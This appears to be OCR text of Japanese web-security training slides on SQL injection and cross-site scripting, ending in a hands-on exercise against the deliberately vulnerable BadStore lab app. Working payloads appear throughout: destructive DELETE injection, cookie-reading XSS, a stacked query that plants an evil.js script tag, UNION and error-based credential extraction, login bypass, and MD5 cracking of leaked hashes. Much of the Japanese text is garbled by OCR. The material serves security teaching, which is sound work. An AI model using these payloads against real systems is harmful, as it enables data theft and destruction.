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SWTHMNSBSQLr>rIT o3y

T —THIBEINTULELE

SELECT * FROM users WHERE id='$id'

AV IGEEN ' ; DELETE FROM users --

5, CITOXYID. -- BIFEOX Y ~THESR

SELECT * FROM users

WHERE id='"' ; DELETE FROM users --'
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K< HBPHPTOT S LDOHI
s LRT =T RN TXSSHESEMENZFET BV

<?php
session_start();

// OT1VFIvD (8)

<?php echo:$ GET[ 'keyword'];: ?><BR>
LU g
</body>




DAAPA NS WIEIN Y VN E:, X

mxss001.php?keyword=

XSS EVVSNXZFZ AN

5

& http://example.jp/wasbook,/xss001.php?keyword=XS5 - Wina:lr:l...l = | (] [

@'\,J - |E. http://example.jp/wasbook /xss001.php?keyword=X55 | 1I'r:‘n| b4 ‘
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BIFOMNZF%Z AJ19 B & JavaScript hhFE) |

mxss001.php?keyword=

<script>alert(docment.cookie)</script>

i @ http://example.jp/wasbook/xss001.php?keyword=<script>aler... | = B = .|qI

@.u. - | ) http://example.jp/wasbook /xss001.php?keyword=<scri ~ | 1l'ra_1n~| b4 |

v < o~ ﬂ Windows Internet Explorer [&J

igsRE—0 -
L PHPSESSID=uuigqgjl3v4ahogbuhrjh49shld




JavaScript (C KD IEE

0 — LD BF Y 1 - TILENE

JS/Spacehero samy 77/ ~I(C

2005/10 (samy) myspace.com 7 A SE T
_ REEDTVRL R
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BREDTO
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HTML T X —TJCEMRI SNXF

< &1t,
> &gt;
& &amp;
» &quot;
I &#31;

) &#96;
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PHP T HTML T —7F (U—N\HhSDHA)

shtmlispecialchars BE#X

string htmlspecialchars( string $string,

int $quote style, string $charset );

[{EFHI]
echo htmlspecialchars($string, ENT_QUOTES, "UTF-8");

EC N

$string AT R D XL Z 5
$quote_style BIRRDOELSE

ENT _COMPATZE/Z(EENT_QUOTESZIEE
$charset YREIVA—5TaVI%&IEE

"UTF-8". "Shift JIS". "EUC-JP"

1M1



$quote_style (BIAARTDEIRGE) DFEVDT
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O : {FHBAIEE X . EHEAABR (HEEEIE)
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XSS WE/I\NSF —

m > ><script>alert(1)</script>

m > ><Img src=x:X onerror=alert(2)>

m > ><|frame src=javascript:alert(3)>"
m onmouseover="alert(4)

m' onfocus='alert(5)
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REEY XSS (reflected XSS)

Y91~
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K8y XSS (stored XSS. persistent XSS)
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FEEFh SQL77 Ot R

B EZ(TBENR—I SQLZFAL TLBHR—
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SQLr VIO >3 hEsEtEnEl (PHP)

mPostgreSQLOEIE 7T —IN—XZRET B

$author = $_GET['author']; // EEHROHE

/] T—=HR—=Z(iEH
$con = pg_connect(
"dbname=books user=puser password=s5zu3v");

// IS—0NBgE
// XFHERIC K BSQLIIHHBIIT
$sgql = "select * from books where author=’". $author ."’";

$res = pg _query($con, $sql); // SQLOMUGHL
// BUFEg




N EER (%91%BA%SF%E3%8Ft%8E%F7) = iE3R

m/sqliool.phprauthor=

7%6917%BA%8F%E37%8F t%8EZ%F7

& hitp://example.jp/wasbook/sqli001.php?author=2:91%BA%EF%E3%EF%8E%FT - Win... l = | = |ﬁl
@'u' i

& http: /fexxample. jp fwasbook,/=qli001, php?author=%91%BA% BF%EIWEBFLWMEEWFT - | +¢| x |

EE1D AL E2aa | ket WhhiRE S
1003 [EOFEES T 1 S FEEGT 19759/01 1260
1004 | SE{TEOIAO0D - —k (hAIE) FH_EEE PRESETT 199704 600

1001 10824 BOOK1 T LSS Fmaiit 200905 1800
1002 1084 BOOK?2 T L& et 200905 1800
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[O'Reilly] EEITBETS—(CHS

m/sqliool.phprauthor=

. & http://example.jp/wasbook/sqli001.php?author=0'Reilly - Windows Internet Explorer l': (=] |ﬁ]1

@'u"
w ode R v o A—TE Y GV Y @

Waming: pg_query() [function po-query] Query faled: ERFOE: syntas error at or near "Redly"
LIME 1: .., publisher, date, price from books where author ="OEedly'
i1 ‘var’www/ wasbool/sqhi00 1. php on line 7

& http:/fexxample. jp/wasbook/sqli001. php?author=0'Reilly - | +1.| » |

m

Warnng: pg num_rows(): suppled argument 15 not a
valid Postgre>0OL result rescurce
it [varwww/washoold/sqgh00 1. php on line 19

EEID ZAML FEE hhrtt HhREF s il

e

<b>Warning</b>: pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: syntax error at or near &quot;Reilly&quot;

LINE 1: ..., publisher, date, price from books where author ='0'Reilly’
A in <b>/var/www/wasbook/sqli®@l.php</b> on line <b>7</b><br /> 20



WEHOXF5| 11— TREI S

m/sqliool.php?author=

'%3Bupdate+books+set+publisher=publisher]| |

'<script+src="evil.js"></script>’--

I RBEINDSOLN (...

select id, title, author, publisher, date,

price from books where author ='";

update books set publisher=publisher| |
‘<script src="evil.js"></script>'--

21



SQL1 VI T 023V THEREDISHEITRIREIC

mhttp://example.jp/evil.js

alert(document.cookie);

& http://example.jp/wasbook/sqli001.php?author=2:91%BA%%EFY%E328Ft%6BE2%F7 - Win... | = | B 2% |
. plegp q php

GO

w e fpor B .,.IWir'Id':lWE Internet Explorer -

() hitp:/fexample. jp wasbook,/sqli001. php?author=%01%BA%SF%E2% 8Ft% SE%F7 v|+?~| X |

h PHPSESSID=7a30dc2b987 ceafed1f33a578d756a0
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T—OIR=INSBEHRRER VDEKRIEE

m/sqliool.phprauthor=

'+and+cast((select+id|]|"':"'||pwd+from+users

+offset+0+1limit+1l)+as+integer)>1--

3

r & http://example.jp/wasbook/sqli001.php?author="+and+cast{(select+id| | ":"| | pwd+from... ll: (=] |ﬁl

@ -

wodr v o A-TE) Y Gy Y @

g | http:/fexample jp fwasbook/sqli001. php?author="+and+ cast((select+id||":"| |pwd- | ¢?| » |

Warning: pg gueryl) [fur‘?:tion.pg—quew]: Cuery failled: ERROR: invalid input syntax for
integer ﬁyamada:pass‘lﬁiiﬂ FHvar/www/i/wasbook/sqli001 php on line G

1m

Warning: pz num _rowsl): supplied argument is not a valid PostareSOL
result resource in fvarfwww/wasbook/sqli001 php on line 20

FHIEEJID /. HEEN ME - B0 E. ¢ B0 YI H.27




BT —5 - BRI\ XT—ROEX L

m/sqliool.phprauthor=

"+union+select+null, id, pwd, name,addr,null+

from+users--

& hitp:ffemmple jp fwasbookfsqli001. php?author="+union+ select+ null.id, pwd, name addrn... | = || = |25

@"\;}' - |§| hitp: ffexample jp fwashook/2gli001. php?author="+union+ zelect+ nullid, pwd.nam - | #?| » |

o v R v o v D) v G y—(0) Y @

RED 2L A, |kl ||| W | il
" sato password 1ZpE—E 1B | B4 EI:E
Etanalr_a pldfssword Ho = F RRENERE = EE|

:jﬂ;amada pass 1 LA — i) R [l Fﬁ
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m3.14
26.022141e25
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WERFES : TXT—TUIEZ @Y

sHTMLI X —77

m<script> -2 &lt;script&gt;
mJavaScript T X —=F

T N
sUNICODETI R —T

5 > ¥ub409
sSQLT X7 —7F
2>

s JU—RRIVE (REESTTSY) ZFES
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2.4 BHRICHAATIEHABSORE/ - (BR) . REEAROAEERICOVT
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PEAEY) LS ZRizAD (BT NMRIEHEN S S 2 LA 100%RME LAV,

(A} SQLAirziias
B = fEEtEA SO ERLE {5 MBEAEFORELEFA. T
) L- AR 212 DBMS FAH WY 5T5—Aut—L (: SOLException.,
1 [ ) T Tr—Ri IS5—Iztd
| Gr7n7+—n e T Query failed %) AR RSN B BISTS—HRELIEWELET.
HTTP A7 —220—FH—HL. DL AR AD dif (5 A ek
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[FE
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B/ — MEEETEOHERE ii% MBUEETSOHELLERE. TOih)
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3 - Iz
“scriptralert{document.cookie} </ script> TR=rREh TN e lNndexhtml | DER G IBEFTXENEIO—FEFIZHEALEY.
L AR AR T +— O ED URl BHE (sre, action, background, href,
4 | javascript:alert(document.cockie); href BISHIZH HEh 3 content) 42, JavaScript 3—F (locationhref, locationreplace) HIZ4E T
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EE | BadStore THessEZiE L CHLKLD

BADSTORE.NET

Quick ltem Search elcome Lawrence - Cart contains 0 items at $0.00

BAI)S’I‘()RI*

<+
¢ View Cart
Home The following are new items:
What's New
ItemN It D ipti Pri Tiiis Add to
Sign Our Guestbook e o Cserpoon nee ge Cart

View Previous Orders

About Us 1000 Snake Oil Useless but expensive

My Account

Login / Register

SEE HOW HACKERS THINK

-SuppliersOnly - |,,,3  IMaoic Rabbit  [Cute white bunny

Supplier Login
Supplier Contract
Supplier Procedures

- Reference - 1005 Perfect Code The rarest maeic of all

28



HE1: Y—XO—RK—3\ (badstore.zip) DEEER

HE J 7 1)U badstore.zip &9 vO— K - &%
mhttps://www.10t.dev/alpine-iot/edu/badstore.zip

1Y —)LEREL
s ALY 5T LD ~U% badstore (CFEIT D
svagrant up AV YV RZEREITI B X

0T — IR—-—XDFEAZE C LIS <EKRERAMNMND X T
mvagrant ssh cOJ 1293

87 A ROSOLinuxTOVY —JJUIR{EMAEIRE(ICIED T T

XVagranth-r Y A L= JILENTUEVWEEIEATMASI DO VO—-RULTCTA VA ~—ILT S
https://developer.hashicorp.com/vagrant/install

29


https://www.10t.dev/alpine-iot/edu/badstore.zip
https://developer.hashicorp.com/vagrant/install

SO M5 http://localhost:9999/ (C 77D XT B

EE Welcome to BadStore.n:

Home%
DYvD9IS

EEEEEEEEEER
Home

n EEEER
u'\ﬂwats =

Sign Our Guesthook

Wiew Previous
drders

m

About Us
Wby Account

Login / Begister

— Suppliers Only

Supplier Login
Suppliesr Contract
Supplier

Frocedures

— Heference —



http://localhost:9999/

% 9° Quick Item Search T 1000 | =&%&d 3

[ o | B |

EE Welcome to BadStore.n:

1000 |

EEEEEEEEEESR
Home

What's MNew

Sign Our Guesthook

Wiew Previous
drders

m

About Us
Wby Account

Login / Begister

— Suppliers Only

Supplier Login
Suppliesr Contract

Supplier
Frocedures

— Heference —




Quick Item SearchCSQLIS—&4 I LD

r@ Mozilla Firefox SEIE)
I7-TILE) |EE) FERN) BE(S) JwiH7—4(B) YT ~LF(H)
@ C 7y EE http://10.12.0.87/cgi-bin/badstore.cgi?searchquery="&action=searchfx=08&y=0 7 v| |-"lv Google P|

| GE http://10.12.0...earch8x=08y=0 | + | |

Software error:

DBD: :mysql ::st execute failed: You have an error in your
SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near
77 IN (itemnum, sdesc, Idesc)’ at line 1 at /usr/local
/apache/cgi-bin/badstore. cgi line 207.

For help, please send mail to the webmaster

(root@bubba.bubba.com), giving this error message and the time and
date of the error.

32



Quick Item Search CE & metELD

r DEQ f I—l—lm

EE, BadStore.net - Search F EE, BadStore.net - Search F

<« C @ 10.12.0.87/cgi-bin/badstore.cvy| B N €« C ® 10.12.0.87/cgi-bin/badstore.c vy, B N

=y

Bﬁbm RE-NET = For those -

»

who
Q e 1007 Bag "o Fud 200.00
G 'f:r" [Welooms {Unregistered User} - Cartcortains O #ems s 28 9T believe a O
Ter anything
= The following items matched your search criteria: a0 Accurate
1008 Caloulator Return on || 22.95
ome Investment
Shat's Mew Itermn Description| Price Planning Business
Sign Our ) 1002 Templste Planning 2485
Suesthook = Tool
Usel but
view Frevious Snake il ﬂpj:iv; 11.50 Technical
Ak 1010 |Security 911 |[Support  ||2229.00 m [
bt L Agreement
The finest .
My hecount Awstrian There's -
. Crystal Ball orystal for 49.95 1011 Money never '20.00 D
_ogin £ encugh
Aeister complete | e—— | |
— Suppliers The classic B Perfect for i
(el = 1002 |MagicHst ||magicians [80.00 1012 ||Endless Cup || nights |20 58 . (]
Suppliet Login hat P
Supplier S
grtlriaev.;:t For when
Magic Cute white 1012 Invisibility you just na9E 00 I:l
10032 Rabbit bunny 12.50 Cloak want to ’
hide =
Disappearing Makes =
Securi Everybod 1
Motivisl vI2 1004 | “'l’."t"' reyoe |asms.o LUAET perfect 30,95 [
pplisnce  ||needs cne signatures
T Test Test ltem  [|0.00 | ]
The rarest
1005 Perfect Code 5000.00
magicof all [Add items to Cart] [t
Security Keeps you
1008 Blanket warm and  ||15.00 |4
toasty o BadStorz v1.2.3z - Copyright © 2004-2005 % 33




Yk ERGERICSQALNMNRTIINSD

BE)

I BadStore.net - Search F

C' | @ 10.12.0.87/cgi-bin/badstore.cgi?searchquery=0&action=search&x=0&y=0 15| B X

|3

m

No items matched your search criteria:

Home

What's Mew SELECT itemnum, sdesc, Idesc, price FROM itemdb WHERE 0" IN
(itemnum sdesc ldesc)

Sign Our Guesthoolk

View Previous
Drders

BadStore v1.2.3s - Copynight © 2004-2005

4 | m

34



W
ai

EE O access_log (WA ULBEITIHEER)

10.1.1.48 - [11/Jan/2012:16:41:55 +0000] "GET /?searchquery=%25%25&action=search HTTP/1.1" 200 3583
10.1.1.48 - [11/Jan/2012:16:42:07 +0000] "GET /?searchquery=%27%25%27&action=search HTTP/1.1" 200 3583
10.1.1.15 - [11/Jan/2012:16:42:21 +0000] "GET /cgi-
bin/badstore.cgi?searchquery=%3Cscript%3Ealert%28%27abc%27%29%3C%2Fscript%3E&action=search HTTP/1.1" 200 505
10.1.1.29 - - [11/Jan/2012:16:42:34 +0000] "GET /cgi-
bin/badstore.cgi?searchquery=hoge%27+IN+%28itemnum’%29%3Bshow+tables%3Bselect+*+from+itemdb+where+%27&action=se
arch&x=0&y=0 HTTP/1.1" 200 512

10.1.1.63 - - [11/Jan/2012:16:42:38 +0000] "GET /cgi-bin/badstore.cgi?action=myaccount HTTP/1.1" 200 4747
10.1.1.63 - - [11/Jan/2012:16:43:00 +0000] "POST /cgi-bin/badstore.cgi?action=moduser HTTP/1.1" 200 4295
10.1.1.29 - - [11/3Jan/2012:16:43:01 +0000] "GET /cgi-
bin/badstore.cgi?searchquery=hoge%27+IN+%28itemnum’%29%3Bshow+tables%3Bselect+*+from+itemdb+where+%27h&action=s
earch&x=0&y=0 HTTP/1.1" 200 512

10.1.1.63 - - [11/Jan/2012:16:43:21 +0000] "GET /cgi-bin/badstore.cgi?action=myaccount HTTP/1.1" 200 4747
10.1.1.48 - - [11/Jan/2012:16:43:33 +0000] "GET /?searchquery=%27&action=search&x=13&y=9 HTTP/1.1" 200 3583
10.1.1.15 - - [11/Jan/2012:16:43:34 +0000] "GET /cgi-
bin/badstore.cgi?searchquery=%3Cscript%3Ealert%28%27abc%27%29%3B%3C%2Fscript%3E&action=search&x=228y=17
HTTP/1.1" 200 506

10.1.1.29 - - [11/Jan/2012:16:43:40 +0000] "GET /cgi-
bin/badstore.cgi?searchquery=hoge%27+IN+%28itemnum’%29%3Bselect+*+from+itemdb+where+%27h&action=search&x=08&y=0
HTTP/1.1" 200 512




[(EE] MEwEEZEERL CTHLD (1-6)

m 1. Cross-Site Scripting (XSS) in Guestbook

m 2. SQL Injection in Search page

= 3. Ability to login without a known password
m 4. Crack easy hashed password algorithm

m 5. robots.txt directory disclosure

m 6. Blind SQL Injection in Supplier Login

m/. Bypass credit card number validation

36
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1. Cross-Site Scripting (XSS) in Guestbook

m[ry to make a successful XSS attack

r ‘ l — | =l |i:hJII
EE BadStore.net - Sign our ‘“-k
€ C' | ® 192.168.80.128/cgi-bin/badstore.cgi?action=guestbook w & A

ﬂ iew Cart

Sign our Guestbook!

Home

m

What's Mew

EEEEEEEEEEEER
iSiEn Dur Guesthoolk
EEEEEEEEEEER

Yiew Previous

Please complete this form to sign our Guestboaok. The email field is not required, but
delps us contact you to respond to your feedback. Thanks!

Orders
Your Name: takesako
About Us )
Email: takesako@labs.cybozu.co jp
Wy Account N

Comments: %557
Login f Register

— Suppliers Only

Add Entry | [Utzt |




1. Nice XSS!

J;"' IiF; Welcome to the BadSto :-:f ) Welcome to the BadSto \: \

<« X @ 10.60.0.123/cqgi-bin/badstore.cgi?action=doguestbook

View Cart

10.60.0.123 says: (< —=-

Guestbook

Home

EEH
What's MNew

] SO — T CNBLES 7 PO 4 2R LA
Wednesday, February 18, 2 - a =
Slgn Qur Guesthook

. -
View Previous This is a great site! |

Orders

About U Wednesday, February 18, 2004 at 11:41:07: John Q. Public jgp@whitehouse.gov
(]| S

My Account L et me know when the summer items are in.

Login / Register

Friday, February 20, 2004 at 14:05:22: Big Spender billg@microsoft.com

39
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2. SQL Injection In Search page

mQuick [tem Search: Type in search for 1000

I Welcome to BadStore.n:

L N RI@)10.12.0. B?{‘cgl bin/badstore.cgi AR S &

BADSTORENET

LS LRI ®Velcome {Unregistered User} - Cart contains 0 items at $0.00

1000

eld'.]

“imw Cart

EEEEEEEEEEER
Home:

Wihat's MNew

Zign Qur Guesthook

View Previous
Drders

m

Ahout Us
Wty Account

Login / Besister

— Suppliers Only

Supplier Login
Supplier Contract
Supplier
Procedures

41




2. SQL Injection in Search page (step1)

m[ry to make search results into zero.

(ol )

E BadStore.net - Search F

C @ 10.12.0.87/cgi-bin/badstore.cgi?searchquery=0&action=search&x=0&y=0 15| B X

m

No items matched your search criteria:

Home

What's Mew SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE 0" IN
(itemnum sdesc ldesc)

Sign Dur Guesthook

View Previous
Drders

BadStore v1.2.3s - Copynght © 2004-2005
About s

4 | L] | 3
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2. SQL Injection in Search page (step2)

mlry SQL error at Quick I[tem Search query

@ Mozillz Firefox )
J7AI{E) #|EE) FER(V) BES) Tvos<v—o(B) Y—I{I) ~ILFH)
r C £y (EE http://10.12.0.87/cgi-bin/badstore.cgi?searchquery="8action=search8x=0&y=0 7 - | |*- Google L

EE http://10.12.0...earch&x=0&y=0 | -+

Software error:

DBD: :mysql::st execute failed: You have an error in your
SQL syntax:; check the manual that corresponds to your
MySQL server version for the right syntax to use near
77 IN (itemnum, sdesc, ldesc)’ at line 1 at /usr/local
/apache/cgi-bin/badstore. cgi |ine 207.

For help, please send mail to the webmaster

(root@bubba.bubba.com), giving this error message and the time and
date of the error.

43




2. SQL Injection in Search page (step3)

m[ry show all products at your Search Query

mﬁlg

E BadStore.net - Search F

m

-
= | = g
EE BadStore.net - Search F
« C © 10.12.0.87/cgi-bin/badstore.cop | B XA
BADSTORENET
btz iWizicoms [Unregistered User} - Cart cortains 0 tzms 2t
|- The following items matched your search criteria:
What's Mew Item Desecription|| Price Image
Sien Our
Suestbock,
wew Frevicus Snake Oil || ===y g
W [EXpENSIVE
dbout Us
8 The finest
Lt} Acooun .
1001 ||crystat Ban [P95E0 g ag
Lcein £ orystal far
SeEister complete
=gies The classic
ey 1002  ||MagicHat |magicians [80.00
hat
Magic (Cute white
1002 Rabbit bunny 12.50
1ops  |SEcurity - |Bvenbady o000 09 M (O
Appliance needs one L® I
The rarest
1005  ||Perfect Code e of a)1[5000.00 . 0
Security Keeps you
1008 |5 ket warm and  [16.00 0
toasty
|

€« C @ 10.12.0.87/cgi-bin/badstore.cop | [B XA

_____ = .
For those
. 'who
1007 Bag'oFud P00 200.00 n m
[anything
Accurate
1008 ROl Return on  |[22.85
Calculator
Investment
Plannin. Business
1008 % lrianning ||z4.85
Template
Tool
Technical
1010 Security 211 |Support  |[2828.00 m [
Agreement
There's .
1011 Money never '20.00 I:‘
[encugh
Perfect for - B
1012 ||Endless Cup || L O (2208 : |
For when
Invisibility you just
1013 |l vant 1o 298500 [
hide .
Disa ring||"ees E
1012 |8 PREanng|  cfect 20.85 ]
signatures
k] Test Test ltem ||0.00 m
Add Items to Cart

BadStorz v1.2.3s - Copyright © 2004-2005 Z
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2. 5QL Injection in Search page (step4)

mType in search query [a'="a] , but SQL is '

mSELECT itemnum, sdesc, ldesc, price FROM itemdb
WHERE 'a’'="a’ IN (itemnum,sdesc,ldesc)

m@ﬂ

w ok N\

[E BadStore.net - Search F \'
€« C @ 10.12.0.87/cgi-bin/badstore.cgi?searchquery=a%27%30D%2 7a&action=search&x=0&y=0

No items matched your search criteria:

SELECT itemnum, sdesc, Idesc, price FROM itemdb WHERE 'a'='a’ IN
(itemnum,sdesc,ldesc)

What's New

Sign Our Guestbook

View Previous
<

S 1 r 4 5




2. SQL Injection in Search page (stepb)

mType in search query [a'<>"a] , but SQL is

mSELECT itemnum, sdesc, ldesc, price FROM itemdb
WHERE 'a’'<>'a’ IN (itemnum,sdesc,ldesc)

:.IEI&J

I BadStore.net - Search F

C | @ 10.12.0.87/cgi-bin/badstore.cgi?searchquery=a%27<>%27a&action=searchi ¢ | B X

BADST'ORE.

Quick Item Search elcome {Unregistered User} - Cart contains 0 items at $0.00

— =
:'g‘\fiew Cart

=
¥ The following items matched your search criteria:
OIS
What's Mew Add
Sign Our Guestheokll ltemNum ltem Description Price Image to
Cart

Wiew Previous
Orders

About Us
by Account

1000 Snake Qil Useless but expensive 11.50

Login / Register

— Suppliers Only
- The finest Austrian crystal for

1001 Crystal Ball complete

4995

Supplier Login
o [—
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3. Ability to login without a known password

sKnown ID/pass is “big@spender.com/money”

IBadSt net - Register

C' | © 10.12.0.87/cgi-bin/badstore.cgi?action=loginregister

BADSTQQE NET

Quick ltem Search elcome {Unregistered User} - Cart contains 0 items at $0.00
. ==

Home

Login to Your Account or Register for a New Account

What's New

Login to Your Account
Sign Qur

Guestbook

Email Address: big@spender.com

View Previous
Orders Password: sesss

About Us

My Account
EEEEEEEEEESR | |
» Login / Register Register for a New Account

— Suppliers Only §Full Name:

S_uQMgL Email Address:




3. Ability to login without a known password

mTry to login another ID "mary@spender.com”

ZE BadStore.net - Rigiste

€& =2 C ©10.12.0.87/cai-bir qir o N -

Bﬁbmne NET

SERCLE LI CU. \Velcome Mary Spender =Cart contains 0 items at $0.00

Login to Your Account or Register for a N

What's New_ )
| Login to Your Account
Sign Our
Guestbook Email Address: v @
Orders Password:
About Us_ “Login |
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3. Ability to login without a known password

mHint: Try to make SQL Error in login page

E 10.12.0.87/cgi-bin/bads!

.............

&« C | ® 10.12.0.87/cgi-bin/badstore.cgi?action=login ] {

.............

Software error:

DBD: :mysql::st execute failed: You have an error in
your SQL syntax. check the manual that corresponds

to your MySQL server version for the right syntax to
use near ~~ AND B

passwd="d41d8c¢d98f000204e9800998ecf8427e’ " at line 1
at /usr/local/apache/cgi-bin/badstore.cgi line 1144.

50



3. Ability to login without a known password

mEmail: mary@spender.com’ or 'a'='a

B BadStore.net - Regist
& 2 C ©10.12.0.87/cgi-bin/ba agir o -

Login to Your Account or Register for a N«

What's New_ )

| Login to Your Account
Sign Our GLECECEEEREERERYEREEFERELET
Guesthook. Email Address = ipender.comETREITE
View Previous ‘E mary@spender.com' and 1=1 or"
Orders Password:
About Us Login|

51
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4. Crack easy hashed password algorithm

mCan you crack this password algorithm?

E 10.12.0.87/cgi-bin/bads!

.............

€« C  ® 10.12.0.87/cgi-bin/badstore.cgi?action=login w ok N

.............

Software error:

DBD: mysql::st execute failed: You have an error iIn
your SQL syntax: check the manual that corresponds
to your MySQL server version for the right syntax to

Asengal. L AND e . | .
:passwd="d41d8cd98100b204e9800998ectf842/e : at line 1

at " /usr/TocaTl/dpache/cgi=bTn/badstore.¢ei line 1144.
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4. Crack easy hashed password algorithm

mGoogle: d41d8cd98f00b204e9800998ecta42 /e

| L. i > B e G ) e e R B i

ELL .-3 I.I.:' S dociboan NS0 | gl Moot S0l “

| b EEERD- e R R TR TR R R TR Y MOSE AT I ety — 7, . AWy
-
o=
¥ r_||.-.': !,‘F:.:'-:-,-,-..h- = —| ] H__,_::_ o AL T R P - ]
w0 T " 1l
et 1 Foke AT . T i) 31, & P B ERIDET a e Rk W F
T Sl b B 1 T e P P W, - S, o P TR S P AL L T ApEETOE
' i r T MBDT u TR T L = =000 W Sir-Brl 3y TW . RIDS
L e PR, T
[
[T F —— T T
(1 TR T TR AR S A B CE L S Bt 4 S B S S,
L e T = resi
o s . L = & T =T =Ty - m Tr
L e . : fre ey R ——
EETTE L LIRS 3 = gl x i T, ) " (2] S =
i L L T AT panaeond % —— 3 S

S It Tl 1 AN 10 e b B A P oy e T B ETR NS R BFLS

R H R
¥ Sl L

S Ul

I:'f _— BDS BfiseshEsa TEEH61 A2 T T e bEETEI0R « Shn pirksaond
) _‘... TrEm E v ) - ey

Hasvares M oodug oF Seido o 1o lon PR 200 | BT deb BT 0 . panieeeoed
Shbdor Mt N1 08 00 P eSO 3 IFS  ade EE—— ﬁ
I T Pk o o BB Th T - 1 5

pifede el Sakba sl h M T Ly v
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4. It seems to be a MD5-hashed algorithm

$ echo -n | mdSsum -
d41d8cd98100b204e9800998ect8427e

$ echo -n "password" | mdS5sum -
5f4dcc3b5aa765d61d8327deb882cf99

$ echo -n "1234" | md5sum -
81dc9bdb52d04dc20036dbd8313ed0O55

$ echo -n "money" | md5sum -
9726255eec083aa56dc0449a21b33190




4. mdbcrack.com

md5Scrack

Using Google to crack passwaords.

Oracle Password Encryption
SafeMet DataSecure Platforms Encrypt critical data in databases

Safelet-Inc.com

lale73e5d7fc293952d380e32fda73c |
| Crack that hash baby! | | Generate MD5 Hash |

MD5Crack on Facebook

midicrack

Eilke 253

Your Results

Found: md5("himitsu") = f1ale73e5d7fc293952d380e32fda 7 3c

AdChoices [

[ = | [= g
; [M] mdsCrack.com | md5 cr: x \_1
L C' | @ md5crack.com/crackmd5.php v @ A

m
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http://md5crack.com/crackmd5.php

4. Google: MD5HashCracker

-

{
e e

(S| ©

& http://mdShashcrackerappspot.com/dict/7/fl4 O~ B X | & Md5 Hash Cracker

o
x | i Lo 4o

MD5HASHCRACKER

7f43cle438declladidloglos40dehT0l

Crack ” Generate

Hash
7i4d70a1058a4c83eMm033004 2fad04f
Ti4fT657e20729d5037 1edbchdbaleds
7i4418b3b2%ae3bbbdd0 147323091
T1489f642a0ddb10272b5c31057H0663
Tf445e9300081eTbcb6ddI9T022ffcad
Tf40d0b5b34f0107dE52e1d3c13M5a7
7f4aB86e00b1291¢7 1bi6 1eed563a625d
7i43b47443d123414a1508/b14092374
Ti4d2chc136a046d56Tcdd3ha227199
714059080aed289cd099c62 2881230
Tfdcab139e64beBBa24d62137chdechd
Tfdcfald23320240890115701391dd29

Status
cracked

cracked
cracked
cracked
cracked
cracked
cracked
cracked
cracked
cracked
cracked
cracked

Plain
afflictionless
amphithacium
ammeline
7270
Bagdi
branchful
butyrin
Cainish
CEraceous
chaplaincy
chromotherapist

colicwort

home mdS list hashdb =

n

-

paste more

Cracking
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5. robots.txt directory disclosure

mls there information leak from robots.txt?

e

E 10.12.0.87/robots.xt

&« C | ® 10.12.0.87/robots.txt &R

#t /robots. txt file for http://www. badstore. net/
# mail webmaster@badstore. net for constructive criticism

User—agent: badstore webcrawler
Disal low:

User—agent: googlebot

Disallow: /cgi-bin .
Disallow: /scanbot # We |ike Google

User—-agent: *
Disallow: /backup
Disallow: /cgi-bin
Disallow: /supplier
Disallow: /upload

59



5. /supplier/accounts 1?7 1?7

[E Index of /supplier \\ >
€ C |© 10.12.0.87/supplier/ kA

Index of /supplier

Name Last modified Size Description
Pﬂa.tmmmgu ...... d 202012 19030 e un s LRIl
i B | accounts 29-Nov-2004 20:51 1k :

Apache/1.3. erver at 10.12.0.87 Port 80
|10.12.0.87jsupplier,-‘accounts

— aceounts.be $ IATOHIVO-FERE %

BSEL )

EE 10.12.0.87/supplier/accc

& C ® 10.12.0.87/supplier/accounts w B A

1001 :am9|dXNIci9wYXNzd29yZCOwbGFObnVtLzESMi4xN jguMTAwL jU2DQo= 1
1002:a3JvZW11ci19zMONyM3QvZ29sZC8xMC4AxMDAUMTAWL jE= ]
1003 :amFuZXVzZXIvd2FpdGluZzRGem I kYXkvMTcyL jIyL JEyL JES
1004:a2Jvb2tvdXQvc2VuZG1 I YXBvLzEwL JEWMC4XxMDAuUM jA=

1
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5. Try Baseb64 Decode

i = | B e

Eul ameldXMlci9wy ¥ Nzd25,
<« C' ® encodemaniax.com/index/encode/utf8/YWO05bGRY TmxjaTI3WVhOemQy0XlaQzI3YkdGMGIuVnRI 5% | B

m

IA—=RI=PvIRX

HTMLE {582 #1288 Base64- URLT -»O—F- MIME- uuencode: PHP Serialize- JavaScript
MDE- MD4- SHA-1,256,384 512 CRC32- unix passwd- Quoted Printabler 8- =5
Camelize: {850 B0 QRO—F - TwitterFES U201 C— 3208 |

—DI L O—FiERDURL
hitp-//fencodemaniax.com/index/encode/utf8/YW0SbGRY Tmxja

WFI—FDERE - UTF-8 | UTF-16 | EUC-JP | SHIFT_JIS | JIS(ISO-2022-JP) |

maTdxNTci9wyxNzd29yZCOwbGFObnVILZE SM14XNjQuMTAWL JU2DQ0=

L o—FiF a—FT8|[PUF| [ 5637F |

| T a—F R~

BUBE R (108E5) am3TdXN1ci 9wYXNzd29yZC IwbGFObnVELZESM 4xNF quMTAwL jUZDQ0=

REEEEEEEEEEEEEE NS NSNS RSN EEEEEEEEEEEEEEEERy
B Basebd Decode joeuser/password/platnum/192.168.100.56 u



http://encodemaniax.com/

5. JavaScript baseb64 encoder/decoder

-

= | =

/ E]&4basebdT>a—F /5 % |\ &

C @ www.akiyan.com/cc_base64_encode_and_decode s A

Fs

akiyan.com

B )

akiyan.com > E# base64T O—F,F3—F

% % base6d4r 10— F /7~ Fa—F

basebdT  O—F 7T O3—FDIAFINIEED lavaScript FEMSIEESHTIEEELI,

m

TILF AT O-FIIEETET AL

pracll
and | XN ci 8wy ¥Nzd28yZ0BubGF Dbni/t LzE5H | 4xNj eulThuL ] U2D0o=

encode/decode

I O—FiER
YWOSHGRY Tmici aT | 3WYhOenGyOX | a0z | 3¥kdGHGJuYnRMek U1 TkOeESaZ3YNYEFSTGrYMERRb20=

I NN NN NN NN NN NN NN NN NN NN ENEEEEEEENEEE
FO—HiER
jneuser/passward/platnun/192.1658.100.56

CILF A ERNFO MR TE R T AGE (I I O Mo P YAECFIRIE .



http://www.akiyan.com/cc_base64_encode_and_decode

Supplier
| ogin



6. Blind SQL Injection in Supplier Login

mlry to login I

-

|21 ﬂ
EE Supplier Portal Login - £ \
L C (D 192.168.80.128/cgi-bin/badstore.cgi?action=supplierlogin O & A
sa\y .
elcome {Unregistered User} - Cart contains 0 items at $0.00 ’_ﬁ \fiew Cart
. Welcome Supplier - Please Login:
What's Mew

Sign Our GuesthookflEMail Address:

Yiew Previous

